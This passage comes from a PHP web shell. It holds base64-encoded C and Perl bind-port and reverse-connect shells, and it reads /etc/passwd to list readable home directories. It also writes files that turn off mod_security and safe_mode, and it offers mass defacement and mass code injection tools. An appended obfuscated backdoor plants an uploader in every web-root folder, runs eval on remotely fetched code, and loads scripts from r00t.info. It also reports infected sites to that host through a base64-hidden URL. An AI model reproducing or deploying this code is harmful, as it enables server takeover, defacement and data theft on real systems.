Gk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1212 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1213
1214 echo '<h1>Network tools</h1><div class=content>
1215 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1216 <br /><span>Bind port to /bin/sh</span><br/>
1217 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Pakistan Haxors\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1218 </form>
1219 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1220 <br /><br /><span>Back-connect to</span><br/>
1221 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1222 </form><br>';
1223 if(isset($_POST['p1'])) {
1224 function cf($f,$t) {
1225 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1226 if($w) {
1227 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1228 @fclose($w);
1229 }
1230 }
1231 if($_POST['p1'] == 'bpc') {
1232 cf("/tmp/bp.c",$bind_port_c);
1233 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1234 @unlink("/tmp/bp.c");
1235 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1236 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1237 }
1238 if($_POST['p1'] == 'bpp') {
1239 cf("/tmp/bp.pl",$bind_port_p);
1240 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1241 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1242 }
1243 if($_POST['p1'] == 'bcc') {
1244 cf("/tmp/bc.c",$back_connect_c);
1245 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1246 @unlink("/tmp/bc.c");
1247 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1248 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1249 }
1250 if($_POST['p1'] == 'bcp') {
1251 cf("/tmp/bc.pl",$back_connect_p);
1252 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1253 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1254 }
1255 }
1256 echo '</div>';
1257 printFooter();
1258}
1259
1260
1261function actionReadable() {
1262 printHeader();
1263 echo '<h1>Readable Dirs</h1>';
1264 echo '<div class="content">';
1265 $sm = ini_get('safe_mode');
1266 if($sm) {
1267 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1268 } else {
1269 @$passwd = file('/etc/passwd','r');
1270 if (!$passwd) {
1271 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1272 } else {
1273 $pub = array();
1274 $users = array();
1275 $conf = array();
1276 $i = 0;
1277 foreach($passwd as $p) {
1278 $r = explode(':',$p);
1279 $dirz = $r[5].'/public_html/';
1280 if(strpos($r[5],'home')) {
1281 array_push($users,$r[0]);
1282 if (is_readable($dirz)) {
1283 array_push($pub,$dirz);
1284 }
1285 }
1286 }
1287 echo '<br><br>';
1288 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1289 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1290 foreach ($pub as $user) {
1291 echo $user."<br>";
1292 }
1293 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1294 }
1295 }
1296 echo '</div>';
1297 printFooter();
1298}
1299
1300function actionBypass() {
1301 printHeader();
1302 echo '<h1>Safe Mode</h1>';
1303 echo '<div class="content">';
1304 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1305 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1306 if(!empty($_POST['p2']) && isset($_POST['p2']))
1307 {
1308 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1309 fwrite($fil,'<IfModule mod_security.c>
1310 Sec------Engine Off
1311 Sec------ScanPOST Off
1312 </IfModule>');
1313 fclose($fil);
1314 }
1315 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1316 {
1317 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1318 fwrite($fil,'safe_mode=OFF
1319 disable_functions=NONE');
1320 fclose($fil);
1321 }
1322 if(!empty($_POST['p3']) && isset($_POST['p3']))
1323 {
1324 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1325 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1326 AddType application/x-httpd-cgi .sh
1327 AddHandler cgi-script .pl
1328 AddHandler cgi-script .pl');
1329 fclose($fil);
1330 }
1331 echo "<br><br /><br /></div>";
1332 echo '</div>';
1333 printFooter();
1334
1335}
1336
1337function actionDeface() {
1338printHeader();
1339echo "<h1>Mass Defacer by SmEvK</h1><div class=content>";
1340?>
1341<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
1342<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
1343<br>file name : <input type=text name=file size=20 value="index.php">
1344<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here">
1345<br><input type=submit value="Deface now"></p></form>
1346
1347<?php
1348if ($_POST['a'] == 'Deface') {
1349$mainpath = $_POST[p1];
1350$file = $_POST[p2];
1351$txtContents = $_POST[p3];
1352echo "Mass Defacer script by SmEVK_PaThAn";
1353$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
1354while ($row = readdir($dir)) {
1355$start = @fopen("$row/$file", "w+");
1356$code = $txtContents;
1357$finish = @fwrite($start, $code);
1358if ($finish) {
1359echo "$row/$file > Done<br><br>";
1360}
1361}
1362
1363}
1364echo '</div>';
1365printFooter();
1366}
1367
1368function actionInjector(){
1369 printHeader();
1370 echo '<h1>Mass Code Injector</h1>';
1371 echo '<div class="content">';
1372
1373 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
1374 function get_structure($path,$depth) {
1375 global $DS;
1376 $res = array();
1377 if(in_array(0, $depth)) { $res[] = $path; }
1378 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
1379 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
1380 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
1381 }
1382 if(in_array(2, $depth) or in_array(3, $depth)) {
1383 $tmp2 = array();
1384 foreach($tmp1 as $t){
1385 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
1386 $tmp2 = array_merge($tmp2, $tp2);
1387 }
1388 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
1389 }
1390 if(in_array(3, $depth)) {
1391 $tmp3 = array();
1392 foreach($tmp2 as $t){
1393 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
1394 $tmp3 = array_merge($tmp3, $tp3);
1395 }
1396 $res = array_merge($res,$tmp3);
1397 }
1398 return $res;
1399 }
1400
1401 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
1402 $name = $_POST['name'] ? $_POST['name'] : '*';
1403 $type = $_POST['type'] ? $_POST['type'] : 'html';
1404 $path = $_POST['path'] ? $_POST['path'] : getcwd();
1405 $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
1406 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
1407 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
1408 $dt = get_structure($path,$depth);
1409 foreach ($dt as $d) {
1410 if($mode == 'a') {
1411 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
1412 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
1413 } else {
1414 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1415 }
1416 } else {
1417 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
1418 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
1419 } else {
1420 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1421 }
1422 }
1423 }
1424 } else {
1425 echo '<form method="post" action="">
1426 <table align="center">
1427 <tr>
1428 <td>Directory : </td>
1429 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
1430 </tr>
1431 <tr>
1432 <td class="title">Mode : </td>
1433 <td>
1434 <select style="width: 100px;" name="mode" class="box">
1435 <option value="a">Apender</option>
1436 <option value="w">Overwriter</option>
1437 </select>
1438 </td>
1439 </tr>
1440 <tr>
1441 <td class="title">File Name & Type : </td>
1442 <td>
1443 <input type="text" style="width: 100px;" name="name" value="*"/>
1444 <select style="width: 100px;" name="type" class="box">
1445 <option value="html">HTML</option>
1446 <option value="htm">HTM</option>
1447 <option value="php" selected="selected">PHP</option>
1448 <option value="asp">ASP</option>
1449 <option value="aspx">ASPX</option>
1450 <option value="xml">XML</option>
1451 <option value="txt">TXT</option>
1452 </select></td>
1453 </tr>
1454 <tr>
1455 <td class="title">Code Inject Depth : </td>
1456 <td>
1457 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
1458 <input type="checkbox" name="depth[]" value="1"/> 1
1459 <input type="checkbox" name="depth[]" value="2"/> 2
1460 <input type="checkbox" name="depth[]" value="3"/> 3
1461 </td>
1462 </tr>
1463 <tr>
1464 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
1465 </tr>
1466 <tr>
1467 <td colspan="2" style="text-align: center;">
1468 <input type="hidden" name="a" value="Injector">
1469 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1470 <input type="hidden" name="p1">
1471 <input type="hidden" name="p2">
1472 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1473 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
1474 </tr>
1475 </table>
1476 </form>';
1477 }
1478 echo '</div>';
1479 printFooter();
1480}
1481
1482
1483 function actionDomain() {
1484 printHeader();
1485
1486echo '<h1>Local Domains</h1><div class=content>';
1487$file = @implode(@file("/etc/named.conf"));
1488$Domain_path = "/var/named";
1489
1490if (!$file) {
1491$domains = scandir($Domain_path);
1492$count=1;
1493$dc = 0;
1494 echo "<table align=center border=1 width=59% cellpadding=5>
1495<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
1496<tr><td>No</td><td>Domain</td><td>User</td></tr>";
1497foreach ($domains as &$domain) {
1498 if (stripos($domain,".db")) {
1499 $domain = str_replace('.db','',$domain);
1500
1501 }
1502 if (strlen($domain) > 6) {
1503
1504 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
1505
1506
1507 }
1508
1509 }
1510 echo "</table>";
1511}else{
1512 $count = 1;
1513 preg_match_all("#named/(.*?).db#", $file, $r);
1514 $domains = array_unique($r[1]);
1515 echo "<table align=center border=1 width=59% cellpadding=5>
1516<tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
1517<tr><td>No</td><td>Domain</td><td>User</td></tr>";
1518 foreach ($domains as $domain) {
1519
1520 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1521 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
1522 }
1523}
1524
1525 printFooter();
1526 }
1527
1528if( empty($_POST['a']) )
1529 if(isset($default_action) && function_exists('action' . $default_action))
1530 $_POST['a'] = $default_action;
1531 else
1532 $_POST['a'] = 'SecInfo';
1533if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1534 call_user_func('action' . $_POST['a'])
1535
1536?>
1537<script type="text/javascript">
1538document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%30%30%74%2E%69%6E%66%6F%2F%6C%63%72%6C%61%6D%65%72%73%61%76%61%72%2F%6C%6F%67%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E'));
1539</script>
1540
1541<script src=http://r00t.info/ccb.js></script>
1542
1543
1544<?php @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('output_buffering',0); @set_time_limit(0); @set_magic_quotes_runtime(0); ?>
1545<?php @session_start(); @error_reporting(0); $a = '<?php
1546session_start();
1547if($_SESSION["adm"]){
1548echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; } else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
1549}
1550if($_POST["p"]){
1551$p = $_POST["p"];
1552$pa = md5(sha1($p));
1553if($pa=="a4cd2905b660e8b1bc73a7c4571252da"){
1554$_SESSION["adm"] = 1;
1555}
1556}
1557?>
1558<form action="" method="post">
1559<input type="text" name="p">
1560</form>
1561'; if(@$_REQUEST["px"]){ $p = @$_REQUEST["px"]; $pa = md5(sha1($p)); if($pa=="a4cd2905b660e8b1bc73a7c4571252da"){ echo @eval(@file_get_contents(@$_REQUEST["404"])); } } if(@!$_SESSION["sdm"]){ $doc = $_SERVER["DOCUMENT_ROOT"]; $dir = scandir($doc); $d1 = ''.$doc.'/.'; $d2 = ''.$doc.'/..'; if(($key = @array_search('.', $dir)) !== false) { unset($dir[$key]); } if(($key = @array_search('..', $dir)) !== false) { unset($dir[$key]); } if(($key = @array_search($d1, $dir)) !== false) { unset($dir[$key]); } if(($key = array_search($d2, $dir)) !== false) { unset($dir[$key]); } @array_push($dir,$doc); foreach($dir as $d){ $p = $doc."/".$d; if(is_dir($p)){ $file = $p."/newsr.php"; @touch($file); $folder = @fopen($file,"w"); @fwrite($folder,$a); } } $lls = $_SERVER["HTTP_HOST"]; $llc = $_SERVER["REQUEST_URI"]; $lld = 'http://'.$lls.''.$llc.''; $brow = urlencode($_SERVER['HTTP_USER_AGENT']); $retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow); echo $retValue; @$_SESSION["sdm"]=1; } ?>